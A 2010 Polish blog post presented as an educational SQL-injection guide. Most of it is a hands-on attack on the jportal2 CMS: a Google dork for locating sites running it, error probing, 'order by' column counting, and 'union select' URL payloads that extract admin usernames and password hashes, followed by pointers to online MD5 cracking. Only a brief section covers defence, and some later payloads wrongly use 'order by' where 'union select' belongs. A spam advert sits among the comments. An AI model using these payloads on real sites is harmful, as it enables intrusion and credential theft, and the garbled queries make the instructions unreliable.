sobota, 20 listopada 2010

Jak włamać się na stronę internetową ? Atak sql injection - bezpieczeństwo IT. Zabezpiecz stronę przed włamaniem sql injection ...

Zobacz popularny atak sql injection - umożliwiający dostęp do twojej strony internetowej !
Włamanie na stronę www przy pomocy sql injection - zabezpiecz się, pokazujemy jak !

 flickr, ardenswayoflife
Atak Sql Injection jest atakiem, który umożliwia dostęp do strony internetowej - potrafi wykraść hasła użytkowników, a dzięki temu przejąć kontrolę nad stroną, edytować ją itp... jest to bardzo niebezpieczne - dlatego pokazujemy jak się przed tym chronić, oraz na czym ten atak polega ! 
Pamiętaj, że materiały tutaj dostępne są wyłącznie w celach edukacyjnych (zgodnych z prawem) ! Możesz sprawdzić ich działanie wyłącznie na własnej stronie - w ten sposób poznasz mechanizm działania tego ataku i ewentualnie ustrzeżesz się przed nim.

1. Coś na początek :

jak sami zobaczycie - atak sql injection jest bardzo niebezpieczny a w internecie aż roi się od słabo zabezpieczonych stron ! Są to nie tylko prywatne strony, ale co gorsza zdarzają się że są to ważne urzędy państwowe. Dobrze gdy znajdzie się ktoś kto powiadomi o słabym zabezpieczeniu strony - ale gorzej gdy ktoś to wykorzysta np. wykradając hasła użytkowników lub co gorsza jakieś konta bankowe itp...

2. Czym jest Sql Injection :

Posłużę się tutaj trochę wikipedią - chodzi mniej więcej o to, że część stron jest słabo filtrowana. Dzięki temu możemy o niej wstrzyknąć jakiś kod (*zapytanie), który zostanie przez skrypt serwera(*bazę danych) zrealizowany. 
Dla przykładu (dla tych którzy znają trochę zasad z logiki):
- przypomnę, że w logice - zdania logiczne przyjmują wartości (tak jak w informatyce system 2-owy) zera oraz 1 
Czyli mając np. w bazie coś takiego  (logowanie) :
Nazwa użytkownika =' ... '   - gdzie w miejsce wykropkowane normalnie wpisujemy login/hasło
Nazwa użytkownika='admin' - możemy tak wpisać, ale nie wiemy czy taki użytkownik istnieje, możemy się posłużyć zapytaniem "or" - gdzie w przypadku gdy jedno zdanie jest prawdziwe, to całe zapytanie jest prawdziwe np.
Nazwa użytkownika='admin' or '1'='1' - zdanie/zapytanie to będzie zawsze prawdziwe, wiemy że or oznacza "lub" - a zdanie 1=1 jest na 100% prawdziwe. Podobnie można zrobić z hasłem dzięki temu zalogujemy się np. na konto admina :)

Wygląda to mniej więcej tak : http://pl.wikipedia.org/wiki/SQL_injection

2. Do rzeczy - jak to wygląda w praktyce :

Nikt nie lubi czytać długich teorii więc przejdę do rzeczy - będzie to przykład błędu dla cms'a jportal2 .
W jportalu2 znaleziono lukę w skrypcie do pisania artykułów, więc nasz kod będziemy właśnie w tych miejscach wstrzykiwać.
Znajdujemy więc nasz cel wpisując np.w google zapytanie (*oczywiście musi to być nasza strona)
+"jportal2" +inurl:"articles.php?topic="
Wchodzimy na tą stronę i widzimy mniej więcej taki link :
www.nazwa.pl/articles.php?topic=1
Teraz aby sprawdzić czy nasza strona jest słabo filtrowana a tym samym podatna na sql injection - dodajemy średnik na końcu linku w przeglądarce a więc :
  www.nazwa.pl/articles.php?topic=1'

Jeżeli pojawi się komunikat w stylu : "Warning mysql_fetch_array...." - to znaczy, że strona jest podatna na atak(*mamy duże prawdopodobieństwo udanego ataku). 

Teraz czas na zapytanie " order by " aby sprawdzić ile tabel liczy baza :
Aby nam było lepiej dostrzec różnicę pomiędzy zmianami na stronie (pojawią się małe cyferki), to w miejsce "topic= " - wpiszemy w linku nie istniejący artykuł np.
www.nazwa.pl/articles.php?topic=-1
lub
www.nazwa.pl/articles.php?topic=-9999999 

Teraz piszemy zapytanie order by :
www.nazwa.pl/articles.php?topic=-1+order+by+1--
Jeżeli nie ma błędu to podnosimy liczbę :
www.nazwa.pl/articles.php?topic=-1+order+by+2--
Nadal nic....
www.nazwa.pl/articles.php?topic=-1+order+by+6--
Błąd !! A więc tabel jest mniej niż 6 - sprawdźmy dla pięciu :
www.nazwa.pl/articles.php?topic=-1+order+by+5--
Bingo :) W jportalu2 przeważnie mamy 5 tabel :) Nie ma błędu ! 

Teraz sprawdzimy do jakiej kolumny możemy się wstrzelić. Będą się tutaj pojawiać takie małe cyferki - warto ich szukać ! Są to takie małe pojedyńcze cyferki np. 2 albo 4 itp...
A więc wpisujemy jako link w oknie przeglądarki polecenie "union select" :
www.nazwa.pl/articles.php?topic=-1+union+select+1,2,3,4,5--
Szukamy samotnej cyferki i w zależności od tego co nam wyskoczy - wstrzykujemy się w tą kolumnę np.
- gdy pojawiła się 3
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,zapytanie,4,5--
- gdy pojawiła się 4
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,3,zapytanie,5--
- gdy mamy 1
www.nazwa.pl/articles.php?topic=-1+order+by+zapytanie,2,3,4,5--
Teraz jeżeli chcemy poznać np. hasła i nazwy użytkowników wpisujemy takie zapytanie (dla przykładu gdy pojawiła się 3) :
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,nick,4,5+from+admins--
oraz
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,pass,4,5+from+admins--
Pierwszy link wyciąga z bazy danych z tabeli admins kolumnę z użytkownikami. W wyniku dostaniemy nazwy użytkowników. 
Drugi link wyciąga hasła z tej samej tabeli jak wyżej. 

Wpisałem tutaj nick,pass oraz +from+admins - co to jest i skąd się to wzięło ?
Nick oraz Pass są to nazwy kolumn - przeważnie gdy chodzi o logowanie użytkowników to w bazie danych hasła są zapisane w nazwie kolumny "pass" a nicki w nazwie "nick". 
Oczywiście może tam być np. password oraz nicks czy też haslo oraz loginy !
Na tym etapie(*twojej wiedzy z tego zakresu) to metoda prób i błędów co się powiedzie :) Ale w przypadku jportal2 standardowo jest tak jak napisałem wyżej. 
Stąd pewnie już wiesz skąd wytrzasnąłem +from+admins - to jest nazwa skąd będziemy wyciągać nasze dane (+z+nazwa) - from (skąd)+(nazwa) - w tym przypadku admins. 

Istnieje także metoda sprawdzania jakie są inne nazwy tabel itp.. oraz metoda wyciągania loginów i haseł za pierwszym razem w jednym zapytaniu - ale o tym może innym razem :)

Hasła będą przeważnie zakodowane (ale nie zawsze) w kodzie md5, musimy je odkodować w google łatwo znaleźć takie rzeczy :) NP. http://www.md5decrypter.com/ , albo wystarczy wpisać ten hash.

Co zrobić aby się zabezpieczyć przed atakiem sql injection (*jportal2):

Trzeba mieć aktualne wersje skryptu - dlatego są różnego rodzaju poprawki i wychodzą nowe wersje. W przypadku jportal2 warto wejść na http://jportal2.pl/articles.php , gdzie pisze co i jak trzeba wykonać aby się zabezpieczyć. Polecam także http://jportal2.pl/articles.php?id=2. Warto poprawić filtrowanie strony aby proste zapytania typu 1=1 nie przechodziły :) 
 
Dla tych którzy będą chcieli się trochę pobawić w sql injection - http://www.sqltest.uw-host.org/ oraz http://www.kacperg333.eu/ - są to strony z zadaniami z wykorzystaniem błędu sql injection !


3 komentarze:

  1. Świetnie napisane. Pozdrawiam serdecznie.

    OdpowiedzUsuń
  2. Oszustów w sieci niestety jest coraz więcej, bardzo często potencjalni oszuści korzystają z zainfekowanych stron internetowych. W celu zadbania o stronę warto skorzystać z usług administracji stron internetowych

    OdpowiedzUsuń
  3. W dzisiejszym szybkim tempie rozwoju technologii, usługi informatyczne odgrywają kluczową rolę w zapewnieniu sprawnego funkcjonowania firm. Jeśli potrzebujesz profesjonalnej pomocy w zakresie informatyki, koniecznie odwiedź stronę https://informatyk.warszawa.pl/. Znajdziesz tam doświadczonego informatyka z Warszawy, który pomoże Ci w rozwiązywaniu wszelkich problemów związanych z komputerami, sieciami, oprogramowaniem czy zabezpieczeniami. Dzięki ich wsparciu będziesz mógł skupić się na prowadzeniu swojego biznesu, mając pewność, że Twoje systemy informatyczne są w dobrych rękach. Skorzystaj z usług informatyka i zapewnij sobie stabilność i bezpieczeństwo technologiczne.

    OdpowiedzUsuń